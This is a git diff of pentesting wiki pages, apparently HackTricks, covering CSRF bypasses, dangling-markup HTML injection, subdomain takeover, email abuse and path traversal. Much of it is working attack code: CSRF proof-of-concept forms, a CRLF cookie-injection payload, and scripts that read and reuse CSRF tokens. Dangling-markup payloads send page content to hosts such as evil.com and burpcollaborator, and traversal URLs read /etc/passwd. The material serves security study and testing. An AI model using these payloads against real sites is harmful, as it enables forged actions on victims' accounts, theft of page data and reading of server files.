* Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): This attribute prevents the browser from sending cookies along with cross-site requests. [More about SameSite cookies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. [Learn about CORS bypass](cors-bypass.md).
|
||||
* **User Verification**: Prompting for the user's password or solving a captcha can confirm the user's intent.
|
||||
* **Checking Referrer or Origin Headers**: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:
|
||||
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
|
||||
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
|
||||
* **Modifying Parameter Names**: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.
|
||||
* **CSRF Tokens**: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.
|
||||
|
||||
### CSRF map
|
||||
|
||||
![](<../.gitbook/assets/image (112).png>)
|
||||
Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
|
@ -64,17 +63,23 @@ Maybe the form you want to abuse is prepared to send a **POST request with a CSR
|
|||
|
||||
### Lack of token
|
||||
|
||||
Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.\
|
||||
In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack.
|
||||
Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.\
|
||||
In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack.
|
||||
Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.
|
||||
|
||||
Here's how attackers exploit this:
|
||||
|
||||
1. **Authenticate** using their own account.
|
||||
2. **Obtain a valid CSRF token** from the global pool.
|
||||
3. **Use this token** in a CSRF attack against a victim.
|
||||
|
||||
This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**.
|
||||
|
||||
### Method bypass
|
||||
|
||||
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\
|
||||
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.
|
||||
For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
|
||||
|
@ -92,26 +97,26 @@ If the request is adding a **custom header** with a **token** to the request as
|
|||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**.
|
||||
Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.
|
||||
|
||||
When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value stored by the **cookie**.\
|
||||
In this situation, the attacker can again perform a CSRF **attack if the web site contains any vulnerability what would allow him to set his CSRF cookie to the victim like a CRLF**.
|
||||
However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.
|
||||
|
||||
In this case you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example:
|
||||
Below is an example of how an attack could be structured:
|
||||
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
||||
<form action="https://example.com/my-account/change-email" method="POST">
|
||||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||||
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||||
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -143,26 +148,28 @@ Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sendi
|
|||
</html>
|
||||
```
|
||||
|
||||
### application/json preflight request bypass
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
|
||||
As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\
|
||||
However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\
|
||||
You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`**
|
||||
When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
|
||||
|
||||
If the server is only accepting the content type "application/json", you can **send the content type "text/plain; application/json"** without triggering a preflight request.
|
||||
1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
|
||||
|
||||
2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
|
||||
|
||||
You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Avoid Referrer header**
|
||||
|
||||
Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.
|
||||
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
||||
This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
|
@ -204,7 +211,7 @@ If a **CSRF token** is being used as **defence** you could try to **exfiltrate i
|
|||
|
||||
### **GET using HTML tags**
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
|
@ -212,11 +219,30 @@ The URL you are requesting is no longer available
|
|||
|
||||
Other HTML5 tags that can be used to automatically send a GET request are:
|
||||
|
||||
![](<../.gitbook/assets/image (530).png>)
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
<img src="..." alt="">
|
||||
<embed src="...">
|
||||
<audio src="...">
|
||||
<video src="...">
|
||||
<source src="..." type="...">
|
||||
<video poster="...">
|
||||
<link rel="stylesheet" href="...">
|
||||
<object data="...">
|
||||
<body background="...">
|
||||
<div style="background: url('...');"></div>
|
||||
<style>
|
||||
body { background: url('...'); }
|
||||
</style>
|
||||
<bgsound src="...">
|
||||
<track src="..." kind="subtitles">
|
||||
<input type="image" src="..." alt="Submit Button">
|
||||
```
|
||||
|
||||
### Form GET request
|
||||
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
<body>
|
||||
|
@ -234,7 +260,7 @@ Other HTML5 tags that can be used to automatically send a GET request are:
|
|||
|
||||
### Form POST request
|
||||
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
|
@ -252,7 +278,7 @@ Other HTML5 tags that can be used to automatically send a GET request are:
|
|||
|
||||
### Form POST request through iframe
|
||||
|
||||
```markup
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
-->
|
||||
|
@ -272,7 +298,7 @@ The request is sent through the iframe withuot reloading the page
|
|||
|
||||
### **Ajax POST request**
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var xh;
|
||||
if (window.XMLHttpRequest)
|
||||
|
@ -317,6 +343,7 @@ fetch("http://example/some/path", {
|
|||
### multipart/form-data POST request v2
|
||||
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
xhr = new XMLHttpRequest();
|
||||
|
@ -337,7 +364,7 @@ xhr.sendAsBinary(body);
|
|||
|
||||
### Form POST request from within an iframe
|
||||
|
||||
```markup
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
<body onload="envia()">
|
||||
|
@ -406,7 +433,7 @@ getTokenJS();
|
|||
|
||||
### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
|
||||
|
||||
```markup
|
||||
```html
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
<input type="checkbox" name="status" checked="checked">
|
||||
|
@ -428,7 +455,7 @@ function f1(){
|
|||
|
||||
### **Steal CSRF Token and sen a POST request using an iframe and a form**
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
<script>
|
||||
|
@ -448,7 +475,7 @@ function read()
|
|||
|
||||
### **Steal token and send it using 2 iframes**
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
function readframe1(){
|
||||
|
@ -480,7 +507,7 @@ height="600" width="800"></iframe>
|
|||
|
||||
### **POSTSteal CSRF token with Ajax and send a post with a form**
|
||||
|
||||
```markup
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||||
|
@ -509,7 +536,7 @@ x.onreadystatechange = function() {
|
|||
|
||||
### CSRF with Socket.IO
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
let socket = io('http://six.jh2i.com:50022/test');
|
||||
|
@ -586,6 +613,8 @@ with open(PASS_LIST, "r") as f:
|
|||
## References
|
||||
|
||||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||||
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
|
|
|
@ -29,7 +29,7 @@ If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the v
|
|||
|
||||
If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
|
||||
```
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
|
@ -39,27 +39,27 @@ Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try o
|
|||
|
||||
You can also abuse CSS `@import` (will send all the code until it find a ";")
|
||||
|
||||
```markup
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
```
|
||||
|
||||
You could also use **`<table`**:
|
||||
|
||||
```bash
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
|
||||
You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
|
||||
|
||||
```markup
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
|
||||
### Stealing forms
|
||||
|
||||
```markup
|
||||
```html
|
||||
<base href='http://evil.com/'>
|
||||
```
|
||||
|
||||
|
@ -73,7 +73,7 @@ Set a form header: `<form action='http://evil.com/log_steal'>` this will overwri
|
|||
|
||||
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
|
||||
|
||||
```markup
|
||||
```html
|
||||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||||
```
|
||||
|
||||
|
@ -83,7 +83,7 @@ An attacker can use this to steal the information.
|
|||
|
||||
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
|
||||
|
@ -91,7 +91,7 @@ and this input field will contain all the content between its double quote and t
|
|||
|
||||
You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
|
||||
|
@ -99,7 +99,7 @@ You can do the same thing injecting a form and an `<option>` tag. All the data u
|
|||
|
||||
You can change the path of a form and insert new values so an unexpected action will be performed:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<form action='/change_settings.php'>
|
||||
<input type='hidden' name='invite_user'
|
||||
value='fredmbogo'> ← Injected lines
|
||||
|
@ -119,7 +119,7 @@ You can change the path of a form and insert new values so an unexpected action
|
|||
|
||||
A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
|
||||
|
@ -127,7 +127,7 @@ A way to exfiltrate the content of the web page from the point of injection to t
|
|||
|
||||
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
|
@ -135,7 +135,7 @@ From this [portswiggers research](https://portswigger.net/research/evading-csp-w
|
|||
Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
|
||||
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
|
@ -146,7 +146,7 @@ if(window.name) {
|
|||
|
||||
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||||
...
|
||||
Share this status update with: ← Legitimate optional element of a dialog
|
||||
|
@ -165,7 +165,7 @@ function submit_status_update() {
|
|||
|
||||
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<img id='is_public'> ← Injected markup
|
||||
|
||||
...
|
||||
|
@ -191,7 +191,7 @@ function submit_new_acls() {
|
|||
|
||||
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
if (public) request.access_mode = AM_PUBLIC;
|
||||
|
@ -205,19 +205,19 @@ If you find a JSONP interface you could be able to call an arbitrary function wi
|
|||
|
||||
Or you can even try to execute some javascript:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script src='/search?q=a&call=alert(1)'></script>
|
||||
```
|
||||
|
||||
### Iframe abuse
|
||||
|
||||
Notice that a **child document can view and set location property for parent, even if cross-origin.** This means that you can make the client access any other page by loading inside an **iframe** some code like:
|
||||
A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
|
||||
|
||||
```markup
|
||||
```html
|
||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||
```
|
||||
|
||||
This can be mitigated with something like: _**sandbox=’ allow-scripts allow-top-navigation’**_
|
||||
This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
|
||||
|
||||
|
@ -245,7 +245,7 @@ This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Secur
|
|||
You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
|
||||
|
||||
```markup
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
||||
|
@ -275,17 +275,10 @@ XS-Search are oriented to **exfiltrate cross-origin information** abusing **side
|
|||
|
||||
## References
|
||||
|
||||
All the techniques presented here and more can view reviewed with more details in:
|
||||
|
||||
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
||||
|
||||
Another HTML tags that can be abused can be find here:
|
||||
|
||||
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
||||
|
||||
More info:
|
||||
|
||||
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
||||
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||||
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||||
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
|
||||
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,69 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
|
||||
|
||||
## Nested Objects
|
||||
|
||||
If the <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> endpoint returns a 404 status code, then the inner `object` is loaded, giving a callback to <mark style="color:yellow;">`https://evil.com?callback=a`</mark> and letting us know that the search query `a` yielded no results.
|
||||
|
||||
```html
|
||||
<object data="/api/v1/leaky?secret=a">
|
||||
<object data="https://evil.com?callback=a"></object>
|
||||
</object>
|
||||
```
|
||||
|
||||
### Lazy Loading
|
||||
|
||||
What if CSP blocks external objects? Let's try again with the following CSP:
|
||||
|
||||
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
|
||||
|
||||
Our callback `object` from above no longer works. In its place, we can use image [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading)! The following image will only load when it is visible and within a certain distance from the viewport.
|
||||
|
||||
```html
|
||||
<object data="/api/v1/leaky?secret=a">
|
||||
<img src="https://evil.com?callback" loading="lazy">
|
||||
</object>
|
||||
```
|
||||
|
||||
### Responsive Images
|
||||
|
||||
The above technique is great, but it relies on our HTML injection being within the user's viewport.
|
||||
|
||||
If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.
|
||||
|
||||
Enter responsive images! Specifically, the `srcset` and `sizes` attributes of images.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<object data="/api/v1/leaky?secret=a">
|
||||
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
|
||||
</object>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.
|
||||
|
||||
This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the `sizes` attribute, we can use [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) to choose which URL to load the image from, depending on the viewport size.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<img
|
||||
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
|
||||
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
|
||||
>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Because our iframe has `width="1000px"`, the following happens:
|
||||
|
||||
1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the `(min-width: 1000px)` media query and loads the 800px image from `https://evil.com?callback=0`.
|
||||
2. If the leaky endpoint returns a 200 status code, the iframe is _not_ displayed. Since the image is not being rendered as part of a large iframe, it matches the `(max-width 999px)` media query and loads the 480px image from `https://evil.com?callback=1`.
|
||||
|
||||
## References
|
||||
|
||||
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
|
||||
**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -80,6 +80,9 @@ Another aspect of subdomain takeover involves email services. Attackers can mani
|
|||
### **Higher Order Risks**
|
||||
Further risks include **NS record takeover**. If an attacker gains control over one NS record of a domain, they can potentially direct a portion of traffic to a server under their control. This risk is amplified if the attacker sets a high **TTL (Time to Live)** for DNS records, prolonging the duration of the attack.
|
||||
|
||||
### CNAME Record Vulnerability
|
||||
Attackers might exploit unclaimed CNAME records pointing to external services that are no longer used or have been decommissioned. This allows them to create a page under the trusted domain, further facilitating phishing or malware distribution.
|
||||
|
||||
### **Mitigation Strategies**
|
||||
Mitigation strategies include:
|
||||
1. **Removing vulnerable DNS records** - This is effective if the subdomain is no longer required.
|
||||
|
|
|
@ -108,11 +108,11 @@ The symbols: **+, -** and **{}** in rare occasions can be used for tagging and i
|
|||
|
||||
### Whitelist bypass
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (6).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
### Quotes
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (6) (4).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
### IPs
|
||||
|
||||
|
@ -123,7 +123,7 @@ You can also use IPs as domain named between square brackets:
|
|||
|
||||
### Other vulns
|
||||
|
||||
![](<../.gitbook/assets/image (296).png>)
|
||||
![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../.gitbook/assets/image (296).png>)
|
||||
|
||||
## Third party SSO
|
||||
|
||||
|
@ -138,15 +138,19 @@ _Note that salesforce indicates if the given email was or not verified but so th
|
|||
|
||||
## Reply-To
|
||||
|
||||
You can send an email using _**From: company.com**_\*\* \*\* and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**.
|
||||
You can send an email using _**From: company.com**_ and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**.
|
||||
|
||||
## Hard Bounce Rate
|
||||
|
||||
Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked.
|
||||
Certain services, like AWS, implement a threshold known as the **Hard Bounce Rate**, typically set at 10%. This is a critical metric, especially for email delivery services. When this rate is exceeded, the service, such as AWS's email service, may be suspended or blocked.
|
||||
|
||||
A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service.
|
||||
A **hard bounce** refers to an **email** that has been returned to the sender because the recipient's address is invalid or non-existent. This could occur due to various reasons, such as the **email** being sent to a non-existing address, a domain that isn't real, or the recipient server's refusal to accept **emails**.
|
||||
|
||||
So, if you are able to **send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.**
|
||||
In the context of AWS, if you send 1000 emails and 100 of them result in hard bounces (due to reasons like invalid addresses or domains), this would mean a 10% hard bounce rate. Reaching or exceeding this rate can trigger AWS SES (Simple Email Service) to block or suspend your email sending capabilities.
|
||||
|
||||
It's crucial to maintain a low hard bounce rate to ensure uninterrupted email service and maintain sender reputation. Monitoring and managing the quality of the email addresses in your mailing lists can significantly help in achieving this.
|
||||
|
||||
For more detailed information, AWS's official documentation on handling bounces and complaints can be referred to [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -59,7 +59,7 @@ A list that uses several techniques to find the file /etc/password (to check if
|
|||
|
||||
### **Windows**
|
||||
|
||||
Merging several lists I have created:
|
||||
Merge of different wordlists:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
|
@ -117,64 +117,72 @@ Maybe the back-end is checking the folder path:
|
|||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
|
||||
### Identifying folders on a server
|
||||
### Exploring File System Directories on a Server
|
||||
|
||||
Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. In order to do so:
|
||||
The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
|
||||
|
||||
* identify the "depth" of you current directory by succesfully retrieving `/etc/passwd` (if on Linux):
|
||||
1. **Determine Directory Depth:**
|
||||
Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
|
||||
|
||||
```
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
|
||||
* try and guess the name of a folder in the current directory by adding the folder name (here, `private`), and then going back to `/etc/passwd`:
|
||||
2. **Probe for Folders:**
|
||||
Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
||||
```bash
|
||||
